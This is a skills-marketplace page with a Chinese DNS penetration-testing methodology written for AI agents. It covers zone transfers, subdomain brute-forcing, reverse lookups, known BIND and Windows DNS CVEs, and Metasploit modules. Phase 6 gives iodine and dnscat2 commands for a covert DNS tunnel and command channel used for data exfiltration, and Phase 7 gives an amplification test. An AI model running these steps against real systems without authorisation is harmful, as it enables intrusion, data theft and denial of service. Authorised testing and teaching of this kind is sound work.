Skip to main content

dns-pentesting

DNS 服务(53 端口)渗透测试方法论。涵盖 DNS 服务发现与版本识别、区域传送测试(AXFR)、子域名枚举、DNS 缓存侦察、反向查询、DNS 隧道检测、已知漏洞利用。 当 Agent 扫描发现 53 端口开放、需要枚举 DNS 记录与子域名、测试区域传送、或通过 DNS 进行数据传输时,触发此 Skill。

来源信息

仓库
wgpsec/AboutSecurity
最近来源活动
2026年10月15日 06:58
检测到的 SKILL.md 语言
中文
星标
1,807
分支
250

安装方式

默认使用会先检查来源的 Prompt;你也可以切换为直接命令,或下载本地副本。

检查来源文件

决定是否安装前,请先阅读 SKILL.md,以及 SkillsMP 当前展示的配套文件。

文件资源管理器
2 个文件

正在显示 SKILL.md

SKILL.md
来源说明 · 只读预览
name
dns-pentesting
description
DNS 服务(53 端口)渗透测试方法论。涵盖 DNS 服务发现与版本识别、区域传送测试(AXFR)、子域名枚举、DNS 缓存侦察、反向查询、DNS 隧道检测、已知漏洞利用。 当 Agent 扫描发现 53 端口开放、需要枚举 DNS 记录与子域名、测试区域传送、或通过 DNS 进行数据传输时,触发此 Skill。
metadata
{"tags":"dns,域名解析,53端口,区域传送,子域名,axfr,dig,nslookup","category":"exploit"}
# DNS 渗透测试方法论 (53) ## 深入参考 - DNS 枚举与利用命令大全(dig / nslookup / dnsrecon / dnsenum / fierce / nmap 脚本) -> 读 [references/dns-techniques.md](references/dns-techniques.md) --- ## 整体决策树 ``` 发现 53 端口开放 (TCP/UDP) ├─ Phase 1: 服务发现与版本识别 │ ├─ 确定 DNS 软件与版本 (BIND / Windows DNS / dnsmasq / PowerDNS) │ ├─ 判断是否权威服务器 (authoritative) 还是递归解析器 (recursive) │ └─ 检查递归查询是否开放 │ ├─ 开放 -> 标记为可被滥用 (DNS 放大攻击),同时利用递归获取缓存信息 │ └─ 关闭 -> 仅可查询该服务器负责的区域 ├─ Phase 2: 区域传送测试 (AXFR) │ ├─ 成功 -> 获取完整区域记录,提取所有主机名、IP、内部域名 │ └─ 失败 -> 进入 Phase 3/4 逐步枚举 ├─ Phase 3: DNS 记录枚举 │ ├─ A / AAAA / MX / NS / TXT / SOA / SRV / CNAME │ ├─ AD 环境 SRV 记录 (_kerberos / _ldap / _gc) │ └─ DNSSEC 记录 (DNSKEY / DS / NSEC / NSEC3) │ └─ NSEC 遍历 -> 枚举所有域名 (未使用 NSEC3 时) ├─ Phase 4: 子域名枚举 │ ├─ 字典爆破 (dnsenum / dnsrecon / fierce / gobuster dns) │ ├─ NSEC walking (针对 DNSSEC 签名域) │ └─ 被动收集 (crt.sh / SecurityTrails / 不在本 skill 范围) ├─ Phase 5: 反向查询 │ ├─ PTR 记录反向解析 (目标 IP 段) │ ├─ 发现内部主机名 -> 扩大攻击面 │ └─ 交叉验证 A 记录与 PTR 记录一致性 ├─ Phase 6: DNS 隧道检测与利用 │ ├─ 检测 -> 观察异常长 TXT/NULL 查询、高频子域查询 │ └─ 利用 -> 通过 DNS 建立隐蔽数据通道 (iodine / dnscat2 / dns2tcp) └─ Phase 7: 已知漏洞 ├─ BIND 版本已知 -> 查询对应 CVE ├─ DNS 缓存投毒 (Kaminsky attack variant) └─ DNS 递归放大 (DDoS 反射) ``` --- ## Phase 1: 服务发现与版本识别 ### 1.1 端口扫描与服务探测 ```bash # Nmap 基础扫描 — TCP/UDP 均需覆盖 nmap -sV -sC -p 53 <IP> nmap -sU -sV -p 53 <IP> # Nmap DNS 专项脚本 nmap -n --script "(default and *dns*) or fcrdns or dns-srv-enum or dns-random-txid or dns-random-srcport" <IP> ``` ### 1.2 版本识别 (Banner Grabbing) ``` DNS 版本识别 ├─ BIND nameserver │ ├─ dig version.bind CHAOS TXT @<IP> │ └─ dig version.server CHAOS TXT @<IP> ├─ fpdns 指纹工具 │ └─ fpdns -D <IP> ├─ Nmap nsid 脚本 │ └─ nmap -sU -p 53 --script dns-nsid <IP> └─ 判断结果 ├─ BIND 9.x -> 记录精确版本,查询 CVE ├─ Windows DNS -> 通常不返回版本,结合 OS 指纹推断 └─ dnsmasq / PowerDNS -> 各有特定漏洞历史 ``` **关键判断**: - 版本可查 -> 直接搜索对应 CVE,跳转 Phase 7 - BIND < 9.11 -> 多个远程漏洞 - 递归开放 -> 可用于信息收集 + 标记放大攻击风险 ### 1.3 递归查询检测 ```bash # 查询外部域名 — 如果返回结果则递归开放 dig google.com A @<IP> # 检查响应中 "ra" (recursion available) 标志 # flags: qr rd ra -> 递归可用 # flags: qr rd -> 递归不可用 ``` --- ## Phase 2: 区域传送测试 (AXFR) ### 2.1 区域传送决策树 ``` 测试区域传送 ├─ 已知域名 │ ├─ dig axfr <DOMAIN> @<IP> │ └─ 成功 -> 导出完整区域文件,提取所有记录 ├─ 域名未知 │ ├─ dig axfr @<IP> (无域名尝试) │ ├─ 通过 SOA 查询获取域名: dig SOA @<IP> <IP_range> │ └─ 通过反向解析猜测域名 ├─ fierce 自动尝试 │ └─ fierce --domain <DOMAIN> --dns-servers <IP> │ (自动对每个权威 NS 尝试区域传送,失败后进行字典爆破) └─ 结果处理 ├─ 成功 -> 保存完整记录,提取内部 IP、主机名、邮件服务器 └─ 失败 (REFUSED / NOTAUTH) -> 配置正确,进入其他枚举方式 ``` ### 2.2 区域传送成功后的分析 **从区域文件中提取的高价值信息**: - 内部主机名与 IP 映射 -> 扩大攻击面 - MX 记录 -> 邮件服务器位置 - TXT 记录 -> SPF/DKIM 配置、可能的验证令牌 - SRV 记录 -> 服务位置(AD 环境尤为重要) - CNAME -> 外部依赖、可能的子域接管 --- ## Phase 3: DNS 记录枚举 ### 3.1 常用记录类型查询 ```bash # 标准记录查询 dig ANY @<IP> <DOMAIN> dig A @<IP> <DOMAIN> dig AAAA @<IP> <DOMAIN> dig TXT @<IP> <DOMAIN> dig MX @<IP> <DOMAIN> dig NS @<IP> <DOMAIN> dig SOA @<IP> <DOMAIN> dig CNAME @<IP> <DOMAIN> dig SRV @<IP> _http._tcp.<DOMAIN> ``` ### 3.2 Active Directory SRV 记录 ``` AD 环境 DNS 枚举 ├─ 域控定位 │ ├─ dig -t SRV _gc._tcp.<DOMAIN> @<IP> │ ├─ dig -t SRV _ldap._tcp.<DOMAIN> @<IP> │ ├─ dig -t SRV _kerberos._tcp.<DOMAIN> @<IP> │ └─ dig -t SRV _kpasswd._tcp.<DOMAIN> @<IP> ├─ nslookup 交互查询 │ └─ nslookup -type=srv _kerberos._tcp.<DOMAIN> <IP> └─ Nmap SRV 枚举脚本 └─ nmap --script dns-srv-enum --script-args "dns-srv-enum.domain='<DOMAIN>'" ``` **关键判断**:发现 AD SRV 记录 -> 确认域环境存在,联动 `ad-domain-attack` skill ### 3.3 DNSSEC 枚举 ``` DNSSEC 检查 ├─ 查询 DNSKEY 和 DS 记录 │ ├─ dig DNSKEY <DOMAIN> @<IP> +dnssec │ └─ dig DS <DOMAIN> @<IP> ├─ NSEC 记录遍历 (zone walking) │ ├─ 域使用 NSEC (非 NSEC3) -> 可枚举所有域名 │ └─ nmap -sSU -p53 --script dns-nsec-enum --script-args dns-nsec-enum.domains=<DOMAIN> <IP> └─ NSEC3 -> 哈希保护,需离线破解或放弃遍历 ``` --- ## Phase 4: 子域名枚举 ### 4.1 字典爆破 ``` 子域名爆破策略 ├─ dnsenum │ └─ dnsenum --dnsserver <IP> --enum -p 0 -s 0 -o subdomains.txt -f <WORDLIST> <DOMAIN> ├─ dnsrecon │ └─ dnsrecon -D <WORDLIST> -d <DOMAIN> -n <IP> ├─ dnscan (支持递归发现) │ └─ dnscan -d <DOMAIN> -r -w <WORDLIST> ├─ gobuster dns 模式 │ └─ gobuster dns -d <DOMAIN> -w <WORDLIST> -r <IP>:53 └─ 字典选择 ├─ 快速: subdomains-top1million-5000.txt ├─ 标准: subdomains-top1million-20000.txt └─ 深度: subdomains-top1million-110000.txt (SecLists) ``` ### 4.2 IPv6 子域名枚举 ```bash # 使用 AAAA 请求爆破 IPv6 地址 dnsdict6 -s -t <DOMAIN> # IPv6 反向枚举 dnsrevenum6 pri.authdns.ripe.net 2001:67c:2e8::/48 ``` --- ## Phase 5: 反向查询 ### 5.1 反向 DNS 爆破 ``` 反向解析策略 ├─ 目标网段 PTR 扫描 │ ├─ dnsrecon -r <IP_RANGE>/24 -n <IP> │ ├─ dig -x <TARGET_IP> @<IP> │ └─ dig -x <TARGET_IPv6> @<IP> ├─ 内网常见段 │ ├─ dnsrecon -r 127.0.0.0/24 -n <IP> │ └─ dnsrecon -r 127.0.1.0/24 -n <IP> └─ 结果分析 ├─ 发现内部主机名 -> 构建主机名列表用于后续枚举 └─ 发现子域 -> 将其作为 AXFR/爆破的新目标 ``` **提示**:如果子域名解析到内部 IP,尝试对该域名的权威 NS 进行反向 DNS 爆破,可能暴露更多内部基础设施。 ### 5.2 在线反向查询 BGP 路由信息可辅助确定目标 IP 段归属:`https://bgp.he.net/net/<IP_RANGE>#_dns` --- ## Phase 6: DNS 隧道 ### 6.1 检测 DNS 隧道 ``` DNS 隧道特征识别 ├─ 网络层指标 │ ├─ 异常长的 DNS 查询 (>50 字节子域名) │ ├─ 高频 TXT / NULL / CNAME 查询 │ ├─ 单一域名的超高查询量 │ └─ DNS over TCP 流量异常增多 ├─ 检测工具 │ ├─ tcpdump -i <IFACE> -n port 53 (人工分析) │ ├─ Wireshark dns 过滤器 + 统计分析 │ └─ Zeek/Bro dns.log 异常检测 └─ 判断 ├─ 发现隧道 -> 分析隧道工具类型,评估数据泄露风险 └─ 未发现 -> 可自行建立隧道用于数据渗出 ``` ### 6.2 建立 DNS 隧道 ``` DNS 隧道工具选择 ├─ iodine (IP-over-DNS) │ ├─ 需要控制一个域名的 NS 记录 │ ├─ 服务端: iodined -f -c -P <PASSWORD> 10.0.0.1 tunnel.<DOMAIN> │ └─ 客户端: iodine -f -P <PASSWORD> tunnel.<DOMAIN> ├─ dnscat2 (命令控制通道) │ ├─ 服务端: dnscat2-server <DOMAIN> │ └─ 客户端: dnscat2 <DOMAIN> └─ dns2tcp ├─ 适用于 TCP 端口转发 └─ 配置文件方式运行 ``` --- ## Phase 7: 已知漏洞 ### 7.1 漏洞检测决策树 ``` DNS 版本已知 ├─ BIND 漏洞 │ ├─ CVE-2021-25216 — BIND 9.x GSS-TSIG 缓冲区溢出 │ ├─ CVE-2020-8617 — BIND 9.x TSIG 验证绕过导致 DoS │ ├─ CVE-2017-3143 — TSIG 认证绕过允许未授权区域更新 │ ├─ CVE-2016-2776 — BIND 9.x 响应构造 DoS │ └─ 旧版本 -> 搜索 "BIND <version> CVE" ├─ Windows DNS │ ├─ CVE-2020-1350 (SIGRed) — Windows DNS Server RCE (CVSS 10.0) │ │ └─ 检测: nmap -p 53 --script dns-check-zone <IP> + 版本确认 │ └─ CVE-2021-24078 — Windows DNS Server RCE ├─ dnsmasq │ ├─ CVE-2020-25681~25687 (DNSpooq) — 缓冲区溢出 + 缓存投毒 │ └─ CVE-2017-14491 — dnsmasq 堆溢出 RCE ├─ DNS 缓存投毒 │ ├─ 检测随机 TXID: nmap --script dns-random-txid <IP> │ ├─ 检测随机源端口: nmap --script dns-random-srcport <IP> │ └─ 两者均弱 -> Kaminsky 攻击变体可行 └─ DNS 递归放大 (DDoS) ├─ 递归开放 + ANY 查询响应 -> 放大因子高 └─ dig ANY <LARGE_DOMAIN> @<IP> (测试放大比) ``` ### 7.2 Metasploit 模块 ```bash # DNS 枚举 auxiliary/gather/enum_dns # DNS 放大扫描 auxiliary/scanner/dns/dns_amp ``` --- ## 后渗透 获得 DNS 服务器访问权限后,检查以下配置文件: | 文件路径 | 关注内容 | |---------|---------| | `/etc/bind/named.conf` | allow-transfer / allow-recursion / allow-query 配置 | | `/etc/bind/named.conf.local` | 区域定义、密钥文件路径 | | `/etc/bind/named.conf.options` | 转发器、ACL 策略 | | `/etc/resolv.conf` | 上游 DNS 服务器 | | `host.conf` | 解析顺序配置 | | `/etc/bind/named.conf.log` | 日志配置、可能泄露查询历史 | **关键配置审计**: - `allow-transfer { any; }` -> 区域传送未限制 - `allow-recursion { any; }` -> 递归查询对外开放 - `allow-query { any; }` -> 无查询来源限制 - TSIG 密钥文件 -> 可用于授权区域更新 --- ## 邮件探测技巧 向目标域不存在的邮箱地址发送邮件,NDN(不可送达通知)回弹邮件的头部可能泄露内部服务器名称和 IP 地址。
在 GitHub 查看